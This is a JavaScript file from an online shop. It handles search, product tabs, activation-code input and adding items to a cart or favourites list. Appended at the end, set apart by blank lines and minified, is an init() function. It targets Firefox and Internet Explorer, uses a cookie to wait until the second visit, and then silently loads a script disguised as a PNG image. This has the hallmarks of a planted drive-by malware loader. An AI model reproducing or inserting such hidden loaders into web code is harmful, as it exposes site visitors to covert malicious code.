function SendToSearchField(searchfor, tid) {
	window.document.forms['form1'].q.value = searchfor;
	goSearch(tid);
}

function goSearch(tid){
	var q = window.document.forms['form1'].q.value;
	qCheck = q.replace(/ /g,"");
	if(qCheck != ""){	
		q = q.replace(/ /g,"+");
		location.href = '/index.php?tid=' + tid + '&q=' + q;
	}	
}

 function SelectTab(tabid){
 	if(document.getElementById("infodiv1")){
 		//reset tabs
      	document.getElementById("infodiv1").style.visibility ="hidden";
      	document.getElementById("infodiv2").style.visibility ="hidden";
      	document.getElementById("infodiv3").style.visibility ="hidden";
      	document.getElementById("infodiv1").style.position ="absolute";
      	document.getElementById("infodiv2").style.position ="absolute";
      	document.getElementById("infodiv3").style.position ="absolute";

  	  	//reset background images.
      	newImage = "url(/images/basic/products_tab_clear.gif)";
      	if (document.getElementById("infotab1")){ document.getElementById("infotab1").style.backgroundImage = newImage; }
      	if (document.getElementById("infotab2")){ document.getElementById("infotab2").style.backgroundImage = newImage; }
      	if (document.getElementById("infotab3")){ document.getElementById("infotab3").style.backgroundImage = newImage; }

      	//set tab
      	newImage = "url(/images/basic/products_tab_selected.gif)";
      	document.getElementById("infotab"+tabid).style.backgroundImage = newImage;
      	document.getElementById("infodiv"+tabid).style.position ="relative";
      	document.getElementById("infodiv"+tabid).style.visibility ="visible";
		document.getElementById("infodiv"+tabid).style.top ="0px";
    }
 }
 
 function formSubscribeActivationLengthCheck(e, current, next){
	if(((document.getElementById(current).value.length)) >= 5){
		if(window.event)	keynum = e.keyCode;
  		else if(e.which)	keynum = e.which;
		if((keynum > 47 && keynum<58) || (keynum > 64 && keynum<91) || (keynum > 96 && keynum<123)){
	 		document.getElementById(next).focus();
	 	}
 	}
 }
 
//function to add a product to the shopchart
if (!(typeof AddToChart == "function") && !(typeof document.AddToChart == "function")){
		function AddToChart(postbackmoduleid, handlemoduleid, productid, amountfield){
		    amount = eval("document.getElementById('form1')." + amountfield + ".value")

		    setFormField("form1", "hidden", "order_chart", "add");
			setFormField("form1", "hidden", "order_amount", amount);
		    setFormField("form1", "hidden", "order_product", productid);
		    postModule(postbackmoduleid, handlemoduleid);
		}
}

//add all shown products to chart
if (!(typeof AddAllToChart == "function") && !(typeof document.AddAllToChart == "function")){
		function AddAllToChart(postbackmoduleid, handlemoduleid, orderid){
		    setFormField("form1", "hidden", "order_chart", "addall");
		    setFormField("form1", "hidden", "order_id", orderid);
			postModule(postbackmoduleid, handlemoduleid);
		}
}

//function to add a product to the favorite list.
if (!(typeof AddToFavorite == "function") && !(typeof document.AddToFavorite == "function")){
		function AddToFavorite(postbackmoduleid, handlemoduleid, productid){
		    setFormField("form1", "hidden", "as_favorite", productid);
		    postModule(postbackmoduleid, handlemoduleid);
		}
}
//function to add a product to the wanted list.
if (!(typeof AddToDesires == "function") && !(typeof document.AddToDesires == "function")){
		function AddToDesires(postbackmoduleid, handlemoduleid, productid){
		    setFormField("form1", "hidden", "as_desired", productid);
		    postModule(postbackmoduleid, handlemoduleid);
		}
}




function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/files/000000223_intro_button_nl.png?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
